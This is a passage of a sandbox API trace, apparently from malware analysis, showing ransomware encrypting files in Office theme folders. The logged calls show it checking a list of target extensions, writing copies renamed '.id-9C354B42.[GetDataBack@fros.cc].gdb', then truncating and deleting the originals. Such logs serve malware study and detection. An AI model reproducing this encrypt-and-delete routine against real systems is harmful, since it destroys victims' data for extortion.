lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0125.579] lstrlenW (lpString=".1cd") returned 4 [0125.579] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0125.579] lstrlenW (lpString=".jpg") returned 4 [0125.579] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.579] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0125.580] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0125.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.580] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=1593) returned 1 [0125.580] CloseHandle (hObject=0x220) returned 1 [0125.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0125.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.580] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.580] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.582] GetLastError () returned 0x0 [0125.582] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x639, lpOverlapped=0x0) returned 1 [0125.583] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x640, lpOverlapped=0x0) returned 1 [0125.584] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0125.584] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0125.584] SetEndOfFile (hFile=0x218) returned 1 [0125.584] CloseHandle (hObject=0x218) returned 1 [0125.584] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.584] SetEndOfFile (hFile=0x220) returned 1 [0125.585] CloseHandle (hObject=0x220) returned 1 [0125.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.585] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0125.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0125.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0125.585] lstrlenW (lpString=".doc") returned 4 [0125.585] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.585] lstrlenW (lpString=".docx") returned 5 [0125.586] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.586] lstrlenW (lpString=".pdf") returned 4 [0125.586] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.586] lstrlenW (lpString=".xls") returned 4 [0125.586] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.586] lstrlenW (lpString=".xlsx") returned 5 [0125.586] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.586] lstrlenW (lpString=".ppt") returned 4 [0125.586] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0125.586] lstrlenW (lpString=".zip") returned 4 [0125.586] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.586] lstrlenW (lpString=".rar") returned 4 [0125.586] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.586] lstrlenW (lpString=".bz2") returned 4 [0125.586] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.586] lstrlenW (lpString=".7z") returned 3 [0125.586] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0125.586] lstrlenW (lpString=".dbf") returned 4 [0125.586] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0125.586] lstrlenW (lpString=".1cd") returned 4 [0125.586] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0125.586] lstrlenW (lpString=".jpg") returned 4 [0125.586] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0125.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0125.586] lstrlenW (lpString=".doc") returned 4 [0125.586] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.586] lstrlenW (lpString=".docx") returned 5 [0125.586] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.586] lstrlenW (lpString=".pdf") returned 4 [0125.586] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.586] lstrlenW (lpString=".xls") returned 4 [0125.586] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.586] lstrlenW (lpString=".xlsx") returned 5 [0125.586] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.586] lstrlenW (lpString=".ppt") returned 4 [0125.586] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0125.586] lstrlenW (lpString=".zip") returned 4 [0125.586] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.586] lstrlenW (lpString=".rar") returned 4 [0125.587] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.587] lstrlenW (lpString=".bz2") returned 4 [0125.587] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.587] lstrlenW (lpString=".7z") returned 3 [0125.587] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0125.587] lstrlenW (lpString=".dbf") returned 4 [0125.587] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0125.587] lstrlenW (lpString=".1cd") returned 4 [0125.587] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0125.587] lstrlenW (lpString=".jpg") returned 4 [0125.587] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.587] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0125.587] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0125.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.588] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=21745) returned 1 [0125.588] CloseHandle (hObject=0x220) returned 1 [0125.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0125.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.588] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.588] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.588] GetLastError () returned 0x0 [0125.588] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x54f1, lpOverlapped=0x0) returned 1 [0125.590] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x5500, lpOverlapped=0x0) returned 1 [0125.591] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0125.591] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0125.591] SetEndOfFile (hFile=0x218) returned 1 [0125.591] CloseHandle (hObject=0x218) returned 1 [0125.592] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.592] SetEndOfFile (hFile=0x220) returned 1 [0125.593] CloseHandle (hObject=0x220) returned 1 [0125.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.593] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0125.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0125.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0125.593] lstrlenW (lpString=".doc") returned 4 [0125.593] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.593] lstrlenW (lpString=".docx") returned 5 [0125.593] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.593] lstrlenW (lpString=".pdf") returned 4 [0125.593] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.593] lstrlenW (lpString=".xls") returned 4 [0125.593] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.593] lstrlenW (lpString=".xlsx") returned 5 [0125.593] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.593] lstrlenW (lpString=".ppt") returned 4 [0125.593] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0125.593] lstrlenW (lpString=".zip") returned 4 [0125.593] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.593] lstrlenW (lpString=".rar") returned 4 [0125.593] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.593] lstrlenW (lpString=".bz2") returned 4 [0125.594] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.594] lstrlenW (lpString=".7z") returned 3 [0125.594] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0125.594] lstrlenW (lpString=".dbf") returned 4 [0125.594] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0125.594] lstrlenW (lpString=".1cd") returned 4 [0125.594] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0125.594] lstrlenW (lpString=".jpg") returned 4 [0125.594] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0125.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0125.594] lstrlenW (lpString=".doc") returned 4 [0125.594] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.594] lstrlenW (lpString=".docx") returned 5 [0125.594] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.594] lstrlenW (lpString=".pdf") returned 4 [0125.594] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.594] lstrlenW (lpString=".xls") returned 4 [0125.594] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.594] lstrlenW (lpString=".xlsx") returned 5 [0125.594] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.594] lstrlenW (lpString=".ppt") returned 4 [0125.594] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0125.594] lstrlenW (lpString=".zip") returned 4 [0125.594] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.594] lstrlenW (lpString=".rar") returned 4 [0125.594] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.594] lstrlenW (lpString=".bz2") returned 4 [0125.594] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.594] lstrlenW (lpString=".7z") returned 3 [0125.594] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0125.594] lstrlenW (lpString=".dbf") returned 4 [0125.594] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0125.595] lstrlenW (lpString=".1cd") returned 4 [0125.595] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0125.595] lstrlenW (lpString=".jpg") returned 4 [0125.595] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.595] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0125.595] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0125.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.595] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=1339) returned 1 [0125.595] CloseHandle (hObject=0x220) returned 1 [0125.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0125.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.596] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.596] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0127.052] GetLastError () returned 0x0 [0127.052] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x53b, lpOverlapped=0x0) returned 1 [0127.054] WriteFile (in: hFile=0x1ac, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x540, lpOverlapped=0x0) returned 1 [0127.057] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0127.057] WriteFile (in: hFile=0x1ac, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0127.057] SetEndOfFile (hFile=0x1ac) returned 1 [0127.057] CloseHandle (hObject=0x1ac) returned 1 [0127.058] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0127.058] SetEndOfFile (hFile=0x220) returned 1 [0127.058] CloseHandle (hObject=0x220) returned 1 [0127.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.059] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0127.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0127.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0127.059] lstrlenW (lpString=".doc") returned 4 [0127.059] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0127.059] lstrlenW (lpString=".docx") returned 5 [0127.059] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0127.059] lstrlenW (lpString=".pdf") returned 4 [0127.059] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0127.059] lstrlenW (lpString=".xls") returned 4 [0127.059] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0127.059] lstrlenW (lpString=".xlsx") returned 5 [0127.059] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0127.059] lstrlenW (lpString=".ppt") returned 4 [0127.059] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0127.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0127.060] lstrlenW (lpString=".zip") returned 4 [0127.060] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0127.060] lstrlenW (lpString=".rar") returned 4 [0127.060] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0127.060] lstrlenW (lpString=".bz2") returned 4 [0127.060] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0127.060] lstrlenW (lpString=".7z") returned 3 [0127.060] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0127.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0127.060] lstrlenW (lpString=".dbf") returned 4 [0127.060] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0127.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0127.060] lstrlenW (lpString=".1cd") returned 4 [0127.060] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0127.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0127.060] lstrlenW (lpString=".jpg") returned 4 [0127.060] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0127.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0127.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0127.060] lstrlenW (lpString=".doc") returned 4 [0127.060] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0127.060] lstrlenW (lpString=".docx") returned 5 [0127.060] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0127.060] lstrlenW (lpString=".pdf") returned 4 [0127.060] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0127.060] lstrlenW (lpString=".xls") returned 4 [0127.060] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0127.060] lstrlenW (lpString=".xlsx") returned 5 [0127.060] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0127.060] lstrlenW (lpString=".ppt") returned 4 [0127.060] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0127.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0127.060] lstrlenW (lpString=".zip") returned 4 [0127.061] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0127.061] lstrlenW (lpString=".rar") returned 4 [0127.061] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0127.061] lstrlenW (lpString=".bz2") returned 4 [0127.061] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0127.061] lstrlenW (lpString=".7z") returned 3 [0127.061] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0127.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0127.061] lstrlenW (lpString=".dbf") returned 4 [0127.061] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0127.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 